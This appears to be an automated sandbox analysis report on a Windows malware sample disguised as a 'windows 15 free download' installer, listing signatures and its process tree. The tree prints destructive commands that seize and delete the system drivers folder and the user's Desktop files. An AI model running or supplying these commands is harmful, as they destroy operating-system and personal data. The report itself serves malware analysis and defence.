Analysis

  • max time kernel
    125s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/08/2024, 12:00

General

  • Target
    windows 15 free download!.exe
  • Size 2.0MB
  • Sample240803-n6erjasdkr
  • SHA256 ddb284ecb37d4b9760786bca61ffabcabaec0784bb5566329ec98fa6bc819a5e
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Drops file in Drivers directory 64 IoCs
  • Possible privilege escalation attempt 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\windows 15 free download!.exe
    "C:\Users\Admin\AppData\Local\Temp\windows 15 free download!.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2704
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k takeown /f c:\windows\system32\drivers\* && icacls c:\windows\system32\drivers\* /grant Everyone:(F) && rd/s/q c:\windows\system32\drivers && exit
      2⤵
      • Drops file in Drivers directory
      • Suspicious use of WriteProcessMemory
      PID:3608
      • C:\Windows\system32\takeown.exe
        takeown /f c:\windows\system32\drivers\*
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:1884
      • C:\Windows\system32\icacls.exe
        icacls c:\windows\system32\drivers\* /grant Everyone:(F)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:532
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k move C:\Users\Admin\AppData\Local\Temp\windows 15 free download!.exe %appdata%\sys.exe && exit
      2⤵
        PID:3536
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /k takeown /f "C:\Users\Admin\Desktop"\* && icacls "C:\Users\Admin\Desktop"\* /grant Everyone:(F) && del/s/q "C:\Users\Admin\Desktop"\* && exit
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1604
        • C:\Windows\system32\takeown.exe
          takeown /f "C:\Users\Admin\Desktop"\*
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4156
        • C:\Windows\system32\icacls.exe
          icacls "C:\Users\Admin\Desktop"\* /grant Everyone:(F)
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2468
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4112,i,8293235976513689021,7261015831736501466,262144 --variations-seed-version --mojo-platform-channel-handle=4632 /prefetch:8
      1⤵
        PID:1004

      Network

            MITRE ATT&CK Enterprise v15

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            Downloads

            DesktoppevQgxiEpjSrDZjAzUJlLchhBfQmKiMwzoBiWybxDUUnFSkSrsrtEKmqDCyZjEeUHMsrQCOZijIPfioNeedDpSZrNAvYmmTAtBDZ

            • Path C:\Users\Admin\DesktoppevQgxiEpjSrDZjAzUJlLchhBfQmKiMwzoBiWybxDUUnFSkSrsrtEKmqDCyZjEeUHMsrQCOZijIPfioNeedDpSZrNAvYmmTAtBDZ
            • Size 33B
            • SHA256 035d41e45719293bb97c9e824c40a43191465ca49f2f81669c662dddd8fcfb36
            • MD5 SHA1 SHA512

            memory/2704-0-0x00007FF63EA60000-0x00007FF63ED39000-memory.dmp

            memory/2704-300-0x00007FF63EA60000-0x00007FF63ED39000-memory.dmp